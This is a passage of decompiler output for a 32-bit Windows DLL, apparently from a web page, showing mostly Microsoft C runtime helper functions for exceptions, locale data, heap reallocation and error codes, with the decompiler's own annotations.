// 10015BAC: using guessed type int dword_10015BAC;

//----- (1000395F) --------------------------------------------------------
void sub_1000395F()
{
  ;
}
// 1000395F: could not find valid save-restore pair for edi

//----- (1000398B) --------------------------------------------------------
void sub_1000398B()
{
  ;
}
// 1000398B: could not find valid save-restore pair for edi

//----- (10003BFB) --------------------------------------------------------
int sub_10003BFB()
{
  return 1;
}

//----- (1000500C) --------------------------------------------------------
char *__thiscall sub_1000500C(char *this, int a2)
{
  sub_10001000(this, a2);
  *(_DWORD *)this = &std::bad_exception::`vftable';
  return this;
}
// 1000E1D8: using guessed type void *std::bad_exception::`vftable';

//----- (10005027) --------------------------------------------------------
_DWORD *__thiscall sub_10005027(_DWORD *this)
{
  _DWORD *result; // eax

  this[1] = 0;
  result = this;
  this[2] = 0;
  this[1] = "bad exception";
  *this = &std::bad_exception::`vftable';
  return result;
}
// 1000E1D8: using guessed type void *std::bad_exception::`vftable';

//----- (10005EC0) --------------------------------------------------------
void __stdcall sub_10005EC0(int a1)
{
  JUMPOUT(0x10005EDB);
}
// 10005EC7: control flows out of bounds to 10005EDB

//----- (10005EF0) --------------------------------------------------------
int __usercall sub_10005EF0@<eax>(int (*a1)(void)@<eax>)
{
  return a1();
}

//----- (100060AF) --------------------------------------------------------
int __cdecl sub_100060AF(int a1)
{
  return unknown_libname_4(a1);
}
// 10005F43: using guessed type _DWORD __stdcall unknown_libname_4(_DWORD);

//----- (100061AE) --------------------------------------------------------
int __cdecl sub_100061AE(int a1)
{
  return unknown_libname_4(a1);
}
// 10005F43: using guessed type _DWORD __stdcall unknown_libname_4(_DWORD);

//----- (100066A7) --------------------------------------------------------
int __cdecl sub_100066A7(int a1)
{
  int result; // eax

  result = a1;
  dword_10015C6C = a1;
  return result;
}
// 10015C6C: using guessed type int dword_10015C6C;

//----- (100066DB) --------------------------------------------------------
int sub_100066DB()
{
  return dword_10015C68;
}
// 10015C68: using guessed type int dword_10015C68;

//----- (10006B73) --------------------------------------------------------
void *__cdecl sub_10006B73(void **a1)
{
  void *result; // eax

  result = *a1;
  if ( *a1 != dword_10015D8C )
    return (void *)unknown_libname_5(*a1);
  return result;
}

//----- (10006B8E) --------------------------------------------------------
void *__cdecl sub_10006B8E(void **a1)
{
  void *result; // eax

  result = *a1;
  if ( *a1 != dword_10015D88 )
    return (void *)unknown_libname_5(*a1);
  return result;
}

//----- (10006C36) --------------------------------------------------------
int __cdecl sub_10006C36(int a1, int a2)
{
  int v3; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+4h] [ebp-8h] BYREF

  v4 = a1;
  v3 = a1;
  return __crt_seh_guarded_call<char *>::operator()<_lambda_0fef6fff2b5e6b53303c9058db11ae1f_,_lambda_082c17da81b0962e08c0587ee0fac50c_ &,_lambda_fa6e051aed0a38726081083cc7c328e9_>(
           &v3,
           a2,
           &v4);
}
// 10006BE5: using guessed type _DWORD __stdcall __crt_seh_guarded_call<char *>::operator()<_lambda_0fef6fff2b5e6b53303c9058db11ae1f_,_lambda_082c17da81b0962e08c0587ee0fac50c_ &,_lambda_fa6e051aed0a38726081083cc7c328e9_>(_DWORD, _DWORD, _DWORD);
// 10006C36: using guessed type int var_8;

//----- (10006DD8) --------------------------------------------------------
char sub_10006DD8()
{
  unknown_libname_4(&off_10015580);
  return 1;
}
// 10005F43: using guessed type _DWORD __stdcall unknown_libname_4(_DWORD);
// 10015580: using guessed type wchar_t *off_10015580;

//----- (10006E04) --------------------------------------------------------
char sub_10006E04()
{
  return 1;
}

//----- (10006E07) --------------------------------------------------------
char sub_10006E07()
{
  __dcrt_uninitialize_environments_nolock();
  return 1;
}
// 10006BA9: using guessed type int __dcrt_uninitialize_environments_nolock(void);

//----- (10006E4C) --------------------------------------------------------
__vcrt_bool sub_10006E4C()
{
  return __vcrt_uninitialize(0);
}

//----- (10007296) --------------------------------------------------------
int __cdecl sub_10007296(int a1, int a2)
{
  int v3; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+4h] [ebp-8h] BYREF

  v4 = a1;
  v3 = a1;
  return __crt_seh_guarded_call<void>::operator()<_lambda_51b6e8b1eb166f2a3faf91f424b38130_,_lambda_6250bd4b2a391816dd638c3bf72b0bcb_ &,_lambda_0b5a4a3e68152e1d9b943535f5f47bed_>(
           &v3,
           a2,
           &v4);
}
// 100071A2: using guessed type _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_51b6e8b1eb166f2a3faf91f424b38130_,_lambda_6250bd4b2a391816dd638c3bf72b0bcb_ &,_lambda_0b5a4a3e68152e1d9b943535f5f47bed_>(_DWORD, _DWORD, _DWORD);
// 10007296: using guessed type int var_8;

//----- (100072BE) --------------------------------------------------------
int __cdecl sub_100072BE(int a1, int a2)
{
  int v3; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+4h] [ebp-8h] BYREF

  v4 = a1;
  v3 = a1;
  return __crt_seh_guarded_call<void>::operator()<_lambda_3518db117f0e7cdb002338c5d3c47b6c_,_lambda_b2ea41f6bbb362cd97d94c6828d90b61_ &,_lambda_abdedf541bb04549bc734292b4a045d4_>(
           &v3,
           a2,
           &v4);
}
// 10007152: using guessed type _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_3518db117f0e7cdb002338c5d3c47b6c_,_lambda_b2ea41f6bbb362cd97d94c6828d90b61_ &,_lambda_abdedf541bb04549bc734292b4a045d4_>(_DWORD, _DWORD, _DWORD);
// 100072BE: using guessed type int var_8;

//----- (100072E6) --------------------------------------------------------
int __cdecl sub_100072E6(int a1, int a2)
{
  int v3; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+4h] [ebp-8h] BYREF

  v4 = a1;
  v3 = a1;
  return __crt_seh_guarded_call<void>::operator()<_lambda_5b71d36f03204c0beab531769a5b5694_,_lambda_be2b3da3f62db62e9dad5dc70221a656_ &,_lambda_8f9ce462984622f9bf76b59e2aaaf805_>(
           &v3,
           a2,
           &v4);
}
// 10007203: using guessed type _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_5b71d36f03204c0beab531769a5b5694_,_lambda_be2b3da3f62db62e9dad5dc70221a656_ &,_lambda_8f9ce462984622f9bf76b59e2aaaf805_>(_DWORD, _DWORD, _DWORD);
// 100072E6: using guessed type int var_8;

//----- (1000730E) --------------------------------------------------------
int __cdecl sub_1000730E(int a1, int a2)
{
  int v3; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+4h] [ebp-8h] BYREF

  v4 = a1;
  v3 = a1;
  return __crt_seh_guarded_call<void>::operator()<_lambda_9df27f884b057bc3edfc946cb5b7cf47_,_lambda_e69574bed617af4e071282c136b37893_ &,_lambda_cc0d902bcbbeb830f749456577db4721_>(
           &v3,
           a2,
           &v4);
}
// 1000724E: using guessed type _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_9df27f884b057bc3edfc946cb5b7cf47_,_lambda_e69574bed617af4e071282c136b37893_ &,_lambda_cc0d902bcbbeb830f749456577db4721_>(_DWORD, _DWORD, _DWORD);
// 1000730E: using guessed type int var_8;

//----- (100080D2) --------------------------------------------------------
int __thiscall sub_100080D2(_DWORD **this, void *Block)
{
  int v3; // edi

  v3 = unknown_libname_10();
  if ( v3 )
  {
    _free_base(Block);
    return v3;
  }
  else
  {
    *this[1]++ = Block;
    return 0;
  }
}
// 10008107: using guessed type int unknown_libname_10(void);

//----- (100081DC) --------------------------------------------------------
int __cdecl sub_100081DC(int a1, int a2)
{
  int v3; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+4h] [ebp-8h] BYREF

  v4 = a1;
  v3 = a1;
  return __crt_seh_guarded_call<void>::operator()<_lambda_c76fdea48760d5f9368b465f31df4405_,_lambda_e378711a6f6581bf7f0efd7cdf97f5d9_ &,_lambda_e927a58b2a85c081d733e8c6192ae2d2_>(
           &v3,
           a2,
           &v4);
}
// 10008199: using guessed type _DWORD __stdcall __crt_seh_guarded_call<void>::operator()<_lambda_c76fdea48760d5f9368b465f31df4405_,_lambda_e378711a6f6581bf7f0efd7cdf97f5d9_ &,_lambda_e927a58b2a85c081d733e8c6192ae2d2_>(_DWORD, _DWORD, _DWORD);
// 100081DC: using guessed type int var_8;

//----- (10008AE9) --------------------------------------------------------
char *__cdecl sub_10008AE9(void *Block, unsigned int a2, unsigned int a3)
{
  size_t v4; // edi
  unsigned int v5; // esi
  char *v6; // ebx
  int savedregs; // [esp+0h] [ebp+0h] BYREF

  savedregs = (int)&savedregs;
  if ( a2 && 0xFFFFFFE0 / a2 < a3 )
  {
    *_errno() = 12;
    return 0;
  }
  else
  {
    if ( Block )
      v4 = _msize(Block);
    else
      v4 = 0;
    v5 = a3 * a2;
    v6 = (char *)_realloc_base(Block, a3 * a2);
    if ( v6 )
    {
      if ( v4 < v5 )
        memset(&v6[v4], 0, v5 - v4);
    }
    return v6;
  }
}

//----- (10008B72) --------------------------------------------------------
char sub_10008B72()
{
  hHeap = 0;
  return 1;
}

//----- (10008E94) --------------------------------------------------------
int __cdecl sub_10008E94(int a1, int a2)
{
  int v3; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+4h] [ebp-8h] BYREF

  v4 = a1;
  v3 = a1;
  return __crt_seh_guarded_call<void (__cdecl *)(int)>::operator()<_lambda_a048d3beccc847880fc8490e18b82769_,_lambda_ec61778202f4f5fc7e7711acc23c3bca_ &,_lambda_f7496a158712204296dd6628a163878e_>(
           &v3,
           a2,
           &v4);
}
// 10008E3A: using guessed type _DWORD __stdcall __crt_seh_guarded_call<void (__cdecl *)(int)>::operator()<_lambda_a048d3beccc847880fc8490e18b82769_,_lambda_ec61778202f4f5fc7e7711acc23c3bca_ &,_lambda_f7496a158712204296dd6628a163878e_>(_DWORD, _DWORD, _DWORD);
// 10008E94: using guessed type int var_8;

//----- (100091A2) --------------------------------------------------------
int __cdecl sub_100091A2(int a1)
{
  return unknown_libname_4(a1);
}
// 10005F43: using guessed type _DWORD __stdcall unknown_libname_4(_DWORD);

//----- (10009313) --------------------------------------------------------
struct __crt_locale_data *__cdecl sub_10009313(int a1, struct __crt_locale_data **a2)
{
  struct __crt_locale_data *result; // eax

  result = *a2;
  if ( *a2 != dword_10016210 )
  {
    result = (struct __crt_locale_data *)dword_100156F0;
    if ( (dword_100156F0 & *(_DWORD *)(a1 + 848)) == 0 )
    {
      result = (struct __crt_locale_data *)__acrt_update_thread_locale_data();
      *a2 = result;
    }
  }
  return result;
}
// 1000981C: using guessed type int __acrt_update_thread_locale_data(void);
// 100156F0: using guessed type int dword_100156F0;

//----- (10009340) --------------------------------------------------------
void *__cdecl sub_10009340(int a1, void **a2)
{
  void *result; // eax

  result = *a2;
  if ( *a2 != Block )
  {
    result = (void *)dword_100156F0;
    if ( (dword_100156F0 & *(_DWORD *)(a1 + 848)) == 0 )
    {
      result = (void *)__acrt_update_thread_multibyte_data();
      *a2 = result;
    }
  }
  return result;
}
// 10008691: using guessed type int __acrt_update_thread_multibyte_data(void);
// 100156F0: using guessed type int dword_100156F0;

//----- (100094CF) --------------------------------------------------------
__int32 sub_100094CF()
{
  return _InterlockedExchange(&dword_10016224, 1);
}
// 10016224: using guessed type int dword_10016224;

//----- (100098E3) --------------------------------------------------------
int sub_100098E3()
{
  return dword_10016228;
}
// 10016228: using guessed type int dword_10016228;

//----- (1000A7DF) --------------------------------------------------------
int sub_1000A7DF()
{
  return common_flush_all(1);
}
// 1000A7E8: using guessed type _DWORD __cdecl common_flush_all(_DWORD);

//----- (1000AC7A) --------------------------------------------------------
int sub_1000AC7A()
{
  return dword_10016234;
}
// 10016234: using guessed type int dword_10016234;

//----- (1000AD18) --------------------------------------------------------
int __cdecl sub_1000AD18(int a1, int a2)
{
  int v3; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+4h] [ebp-8h] BYREF

  v4 = a1;
  v3 = a1;
  return __crt_seh_guarded_call<int>::operator()<_lambda_61cee617f5178ae960314fd4d05640a0_,_lambda_6978c1fb23f02e42e1d9e99668cc68aa_ &,_lambda_9cd88cf8ad10232537feb2133f08c833_>(
           &v3,
           a2,
           &v4);
}
// 1000AC80: using guessed type _DWORD __stdcall __crt_seh_guarded_call<int>::operator()<_lambda_61cee617f5178ae960314fd4d05640a0_,_lambda_6978c1fb23f02e42e1d9e99668cc68aa_ &,_lambda_9cd88cf8ad10232537feb2133f08c833_>(_DWORD, _DWORD, _DWORD);
// 1000AD18: using guessed type int var_8;

//----- (1000BAE6) --------------------------------------------------------
int sub_1000BAE6()
{
  dword_1001624C = IsProcessorFeaturePresent(0xAu);
  return 0;
}
// 1001624C: using guessed type int dword_1001624C;

//----- (1000BD84) --------------------------------------------------------
void __usercall sub_1000BD84(char a1@<ch>, int a2@<ebp>)
{
  *(_BYTE *)(a2 - 144) = -2;
  if ( a1 && !isintTOS() )
    JUMPOUT(0x1000C143);
  _ffexpm1();
  JUMPOUT(0x1000C088);
}
// 1000BDD1: control flows out of bounds to 1000C088
// 1000BDF3: control flows out of bounds to 1000C143
// 1000BEDE: using guessed type int _ffexpm1(void);
// 1000BF21: using guessed type int isintTOS(void);

//----- (1000C6C6) --------------------------------------------------------
int __cdecl sub_1000C6C6(int a1, int a2)
{
  int v3; // [esp+0h] [ebp-Ch] BYREF
  int v4; // [esp+4h] [ebp-8h] BYREF

  v4 = a1;
  v3 = a1;
  return __crt_seh_guarded_call<int>::operator()<_lambda_123407a5e2ac06da108355a851863b7a_,_lambda_2fe9b910cf3cbf4a0ab98a02ba45b3ec_ &,_lambda_ae55bdf541ad94d75914d381c370e64d_>(
           &v3,
           a2,
           &v4);
}
// 1000C644: using guessed type _DWORD __stdcall __crt_seh_guarded_call<int>::operator()<_lambda_123407a5e2ac06da108355a851863b7a_,_lambda_2fe9b910cf3cbf4a0ab98a02ba45b3ec_ &,_lambda_ae55bdf541ad94d75914d381c370e64d_>(_DWORD, _DWORD, _DWORD);
// 1000C6C6: using guessed type int var_8;

//----- (1000C6EE) --------------------------------------------------------
int __cdecl sub_1000C6EE(int a1)
{
  int *v2; // [esp+4h] [ebp-4h] BYREF

  if ( a1 == -2 )
  {
    *__doserrno() = 0;
    *_errno() = 9;
  }
  else
  {
    if ( a1 >= 0
      && a1 < (unsigned int)dword_100161F8
      && (*(_BYTE *)(dword_10015FF8[a1 >> 6] + 48 * (a1 & 0x3F) + 40) & 1) != 0 )
    {
      v2 = &a1;
      return sub_1000C6C6(a1, (int)&v2);
    }
    *__doserrno() = 0;
    *_errno() = 9;
    _invalid_parameter_noinfo();
  }
  return -1;
}
// 10015FF8: using guessed type int dword_10015FF8[128];
// 100161F8: using guessed type int dword_100161F8;

// nfuncs=451 queued=87 decompiled=87 lumina nreq=0 worse=0 better=0
// ALL OK, 87 function(s) have been successfully decompiled
Leave a Comment